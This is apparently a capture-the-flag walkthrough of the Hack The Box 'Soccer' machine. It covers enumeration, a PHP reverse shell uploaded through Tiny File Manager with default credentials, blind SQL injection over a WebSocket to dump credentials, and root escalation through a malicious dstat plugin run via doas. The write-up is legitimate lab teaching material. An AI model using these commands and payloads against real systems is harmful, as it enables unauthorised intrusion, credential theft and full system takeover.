soccer

Creator: sau123

Machine URL: https://app.hackthebox.com/machines/Soccer

Difficulty: Easy


Initial enumeration

We start with an nmap scan.

# Nmap 7.93 scan initiated Sun Mar 26 01:09:36 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.94.14
Nmap scan report for 10.129.94.14
Host is up, received echo-reply ttl 63 (0.034s latency).
Scanned at 2023-03-26 01:09:38 CET for 28s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChXu/2AxokRA9pcTIQx6HKyiO0odku5KmUpklDRNG+9sa6olMd4dSBq1d0rGtsO2rNJRLQUczml6+N5DcCasAZUShDrMnitsRvG54x8GrJyW4nIx4HOfXRTsNqImBadIJtvIww1L7H1DPzMZYJZj/oOwQHXvp85a2hMqMmoqsljtS/jO3tk7NUKA/8D5KuekSmw8m1pPEGybAZxlAYGu3KbasN66jmhf0ReHg3Vjx9e8FbHr3ksc/MimSMfRq0lIo5fJ7QAnbttM5ktuQqzvVjJmZ0+aL7ZeVewTXLmtkOxX9E5ldihtUFj8C6cQroX69LaaN/AXoEZWl/v1LWE5Qo1DEPrv7A6mIVZvWIM8/AqLpP8JWgAQevOtby5mpmhSxYXUgyii5xRAnvDWwkbwxhKcBIzVy4x5TXinVR7FrrwvKmNAG2t4lpDgmryBZ0YSgxgSAcHIBOglugehGZRHJC9C273hs44EToGCrHBY8n2flJe7OgbjEL8Il3SpfUEF0=
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIy3gWUPD+EqFcmc0ngWeRLfCr68+uiuM59j9zrtLNRcLJSTJmlHUdcq25/esgeZkyQ0mr2RZ5gozpBd5yzpdzk=
|   256 5797565def793c2fcbdb35fff17c615c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2Pj1mZ0q8u/E8K49Gezm3jguM3d8VyAYsX0QyaN6H/
80/tcp   open  http            syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sun, 26 Mar 2023 00:10:02 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Sun, 26 Mar 2023 00:10:02 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 26 01:10:06 2023 -- 1 IP address (1 host up) scanned in 29.63 seconds

Three ports are open: TCP 22 for OpenSSH, TCP 80 for nginx, and TCP 9091 for unknown service.
We add soccer.htb to our /etc/hosts and start with the web server enumeration.

nginx – soccer.htb

http://soccer.htb

We are greeted by the website for HTB Football Club.

Main page &ndash; soccer.htb

The page looks static and there is not much to discover.
Let’s fuzz for directories, files, and subdomains.

┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -ic -c -t 400 -u "http://soccer.htb/FUZZ/"    
...
[Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 80ms]
    * FUZZ: tiny
...

We discover http://soccer.htb/tiny/.
It’s an instance of Tiny File Manager.

Tiny File Manager

Default user credentials are documented on GitHub.
We can log in with the credentials admin:admin@123.

Logged In to Tiny File Manager

And we have file upload functionality!

RCE – File upload

Tiny File Manager lists file and folder permissions for us in the Perms column of the WebUI.
We quickly discover that the path tiny/uploads is writable for us.

Let’s make a PHP file with a Reverse Shell payload, upload it, and execute it.

PHP file with reverse shell payload

┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ echo "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.14.73/443 0>&1'\"); ?>" > /tmp/fluff.php

File upload

  • Navigate to the upload page (tiny -> uploads -> “Upload” button).
  • Select our PHP file for the upload.

The PHP file is successfully uploaded.

Upload successful

Note: there is a cleanup job that deletes the files from uploads.
You may need to repeat the upload if the file is already deleted.

Execution

We catch a shell as www-data.

┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.169.235] 38936
bash: cannot set terminal process group (994): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data

We discover another hostname in /etc/hosts and nginx configuration files:

www-data@soccer:~/html/tiny/uploads$ cat /etc/hosts
127.0.0.1       localhost       soccer  soccer.htb      soc-player.soccer.htb

127.0.1.1       ubuntu-focal    ubuntu-focal
www-data@soccer:/etc/nginx/sites-enabled$ cat soc-player.htb 
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

Let’s add soc-player.soccer.htb to our /etc/hosts and check it out.

soc-player.soccer.htb

http://soc-player.soccer.htb

We are greeted with the same website we have seen before at soccer.htb, but with extended functionality.

soc-player.soccer.htb

We can register (http://soc-player.soccer.htb/signup) and log in (http://soc-player.soccer.htb/login).

After the login is successful we are redirected to http://soc-player.soccer.htb/check.

Check page

When we enter our ticket number in the text input field and press Enter, we discover WebSocket communication with TCP 9091:

WebSocket comms

Let’s play with the id parameter.
I will use wscat to communicate with the WS.

┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ wscat --connect ws://soc-player.soccer.htb:9091 
Connected (press CTRL+C to quit)
> {"id":"63448"}
< Ticket Exists
> {"id":"63449"}
< Ticket Doesn't Exist
> {"id":"63449-1"}
< Ticket Exists

ID 63448 returns the valid response, 63449 – doesn’t exist.
However, 63449-1 is a valid ticket again.

This might be a sign of a SQL Injection.

SQL Injection in ws://soc-player.soccer.htb:9091

Judging by the output, even if we have an Injection, it will be blind.
Let’s use sqlmap-websocket-proxy – a tool to enable blind SQL injection attacks against websockets using sqlmap.

First, we set up the proxy.

┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ sqlmap-websocket-proxy -u ws://soc-player.soccer.htb:9091 -p '{"id": "%param%"}' --json

Now we can run sqlmap as usual:

┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ sqlmap -u 'http://localhost:8080?id=1' -p id
...
[03:22:32] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 9774 FROM (SELECT(SLEEP(5)))Dujl)
---
...

And we find a Time-Based Blind SQL Injection.

After the enumeration of databases, tables, and columns, we dump the credentials from the accounts table in the soccer_db database:

sqlmap -u 'http://localhost:8080?id=1' -p id -D soccer_db -T accounts -C username,password --dump
...
Database: soccer_db
Table: accounts
[1 entry]
+----------+----------------------+
| username | password             |
+----------+----------------------+
| player   | P<REDACTED>2         |
+----------+----------------------+

The user player has reused this password and we can SSH to the box with these credentials:

┌──(fluff㉿kali)-[/opt/ctf/htb/_completed/soccer]
└─$ ssh [email protected]         
...
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)

player

Grab the User flag in /home/player/user.txt.

The user player is not in sudoers:

player@soccer:~$ sudo -l
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.

But, there is doas on the system:

player@soccer:~$ doas
usage: doas [-nSs] [-a style] [-C config] [-u user] command [args]

The doas utility executes the given command as another user.

Let’s try and find its configuration files:

player@soccer:~$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

We can execute /usr/bin/dstat as root via doas.
There is an entry on GTFOBins for dstat.

Privilege escalation to root

/usr/local/share/dstat is writable, so it should be fairly straightforward.

player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' > /usr/local/share/dstat/dstat_xxx.py
player@soccer:~$ doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# id
uid=0(root) gid=0(root) groups=0(root)

We are root!
Grab the Root flag in /root/root.txt and we are done.